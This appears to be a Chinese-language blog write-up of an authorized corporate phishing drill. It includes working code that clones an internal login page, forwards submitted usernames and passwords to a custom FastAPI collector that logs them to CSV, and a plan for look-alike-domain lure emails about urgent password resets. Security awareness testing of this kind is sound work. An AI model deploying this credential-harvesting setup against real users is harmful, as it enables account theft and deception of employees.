请君入瓮:草台班子实施的一次钓鱼演练环境搭建

Table of Contents
受限于奇奇怪怪的客户需求和场景,不得不用草台班子的方式,快速搭建了一个钓鱼演练环境。
背景 #
在某次重要攻防演练中,某客户因高权限员工被钓鱼导致靶标失陷,因此在演练结束后我们需要配合客户开展一次钓鱼演练。演练形式是向全体员工邮箱发送钓鱼邮件,诱导员工点击邮件中的链接,在伪造的内部系统页面中输入账号密码。
为此我们申请了一个高仿客户官方域名的伪造域名,计划通过云企业邮箱服务发送邮件,并在该域名下部署伪造的内部系统。
前期尝试 #
用 SingleFile 插件保存目标网站实现仿站,生成大约 10MB 大小的单个 html 文件。
通过 Caddy 部署,确保 80、443 端口全公网可访问以实现自动 Let’s Encrypt 证书:
<Faked Domain Name> {
encode
file_server
}
为获取用户输入的账号密码信息,尝试使用 Gophish,但发现无法为 Landing Page 设置 HTTPS。因此计划手动实现钓鱼信息收集,在 html 中添加 js 片段,使用 fetch 将账号信息提交至 /api/vcode(实际指向同一主机上另一端口启动的自定义服务)。但客户要求用户点击登录才算钓鱼成功,因此需要保留获取验证码->登录逻辑。
这就导致从钓鱼站请求真实站这一过程成为必须,于是需要解决跨站 CORS 问题,可以通过 iframe+form 的形式解决。但后续了解到获取验证码接口需要提交账号密码信息,而密码字段采用 AES 加密,因此需要获取 AES 密钥。既然都要获取 AES 密钥了,为什么不直接把原系统的前端源码拿来呢?
获取前端源码后 #
由于拿到完整源码,不再使用仿站思路而是直接重新部署一套前端,相比仿站的主要优势在于:
- 无需关注前后端交互逻辑,基本也不需要担心与后端交互逻辑出错
- 基于 js 的动态前端交互逻辑更完整、一致,例如输入框为空时在下方显示错误提示信息、获取验证码按钮点击后变为已发送等
- 通过前端框架提供的开发服务器直接解决 CORS 问题(需要 dev 模式启动,因此部署主机需要 node 环境)
- 直接使用前端框架能力实现额外逻辑
钓鱼信息收集逻辑实现:
// 登录接口及逻辑
const postUserLogin = async params => {
try {
let response: any = await postLogin(params);
if (response.code == 0) {
try {
await http.post("/app/login", params, {
headers: { "Content-Type": "application/json" },
});
} catch (error) {
// ...
}
} else {
// ...
}
} catch (error) {
// ...
}
};
这里 postLogin 是原本发起登录请求的函数,在登录成功后,我们将账号密码发送到 /app/login 这个我们自定义的后端接口完成收集。
修改开发服务器代理配置,使用生产地址。随后修改 Vite 配置,关闭热重载和自动打开浏览器的功能,并启用 HTTPS(证书由 Caddy 自动申请):
// server
server: {
hmr: false,
port: 443,
open: false,
cors: false,
host: true,
https: {
key: 'certs/<Fake Domain Name>.key',
cert: 'certs/<Fake Domain Name>.crt'
},
proxy,
},
最后根据原业务逻辑设置生产环境的 APPCODE 以通过鉴权。
收集登录信息 #
使用自定义服务器实现,基于 WAF 的 acw_tc 字段识别不同用户:
from fastapi import FastAPI, Request
from pydantic import BaseModel
import csv
import os
from datetime import datetime
app = FastAPI()
class LoginRequest(BaseModel):
username: str
password: str
type: str
captcha: str
@app.post("/app/login")
async def login(request: Request, login_data: LoginRequest):
time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
# Get acw_tc from cookies
acw_tc = request.cookies.get("acw_tc", "")
# Prepare data row
row_data = [
login_data.username,
login_data.password,
login_data.type,
login_data.captcha,
acw_tc,
time,
]
# Write to CSV file
csv_file = "data.csv"
file_exists = os.path.exists(csv_file)
with open(csv_file, mode="a", newline="", encoding="utf-8") as file:
writer = csv.writer(file)
# Write header if file doesn't exist
if not file_exists:
writer.writerow(
["username", "password", "type", "captcha", "acw_tc", "time"]
)
writer.writerow(row_data)
return {"status": "success"}
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)
Vite 开发服务器添加一条代理规则:
const ret: ProxyTargetList = {
[API_URL]: {
target: API_TARGET_URL,
changeOrigin: true,
// rewrite: (path) => path.replace(new RegExp(`^${API_URL}`), ''),
},
'/app': {
target: 'http://localhost:8000',
changeOrigin: true,
},
使用额外的中间件来收集访问日志:
import type { Plugin } from 'vite';
import type { IncomingMessage, ServerResponse } from 'http';
interface ExtendedRequest extends IncomingMessage {
ip?: string;
}
export function createAccessLogPlugin(): Plugin {
return {
name: 'access-log',
configureServer(server) {
server.middlewares.use((req: ExtendedRequest, res: ServerResponse, next: () => void) => {
const sourceIP =
req.ip ||
req.socket?.remoteAddress ||
(req.headers['x-forwarded-for'] as string) ||
'unknown';
const requestPath = req.url || '';
const method = req.method || '';
const acwTc = parseCookie(req.headers.cookie, 'acw_tc') || 'none';
const shouldLog = !isStaticRequest(requestPath);
const originalEnd = res.end.bind(res);
res.end = function (...args: any[]) {
const statusCode = res.statusCode;
if (shouldLog) {
console.log(
`[${new Date().toISOString()}] ${method} ${requestPath} ${sourceIP} ${statusCode} acw_tc=${acwTc}`,
);
}
return originalEnd(...args);
};
next();
});
},
};
}
function parseCookie(cookieHeader: string | undefined, name: string): string | undefined {
if (!cookieHeader) return undefined;
const cookies = cookieHeader.split(';').map((cookie) => cookie.trim());
const targetCookie = cookies.find((cookie) => cookie.startsWith(`${name}=`));
return targetCookie ? targetCookie.substring(name.length + 1) : undefined;
}
function isStaticRequest(path: string): boolean {
const staticExtensions = [
'/@',
'.hot-update.',
'__vite_ping',
'.less',
'.png',
'.svg',
'.css',
'.ts',
'.vue',
'.mjs',
'.js',
'.ico',
'.jpg',
'.jpeg',
'.gif',
'.woff',
'.woff2',
'.ttf',
'.eot',
];
return staticExtensions.some((ext) => path.includes(ext));
}
// plugins
plugins: [...createVitePlugins(isBuild), createAccessLogPlugin()],
部署运行 #
前端:
$ nohup npm run dev &
后端:
$ nohup fastapi run main.py &
安全性 #
由于 Vite 开发服务器允许客户端直接访问到源码目录下的文件(.env 等敏感文件会 403),同时站点本身连通真实的管理后台,需要为钓鱼站点设置严格的访问白名单(使用云防火墙实现)。
演练计划 #
- 上午向部分员工发送第一封邮件,内容大意为重保活动期间需要对账号进行安全性验证,需要用户点击按钮登录内部系统按系统提示操作。使用 163 邮箱作为发件地址,降低可信度。
- 下午向全体员工发送第二封邮件,内容大意为上午检测到部分同事收到钓鱼邮件,需要全体用户登录内部系统紧急修改密码。使用高仿域名邮箱作为发件地址,提高可信度。
- 邮件内链接均指向钓鱼页面,成功登录后后端记录账号名称、加密后密码、验证码、用户标识、登录时间等信息
- 演练结束后统计信息:邮件成功投递数(邮件阅读次数无法统计到)、钓鱼页面访问次数/人数(基于用户标识)、成功登录次数/人数、成功登录的所有记录等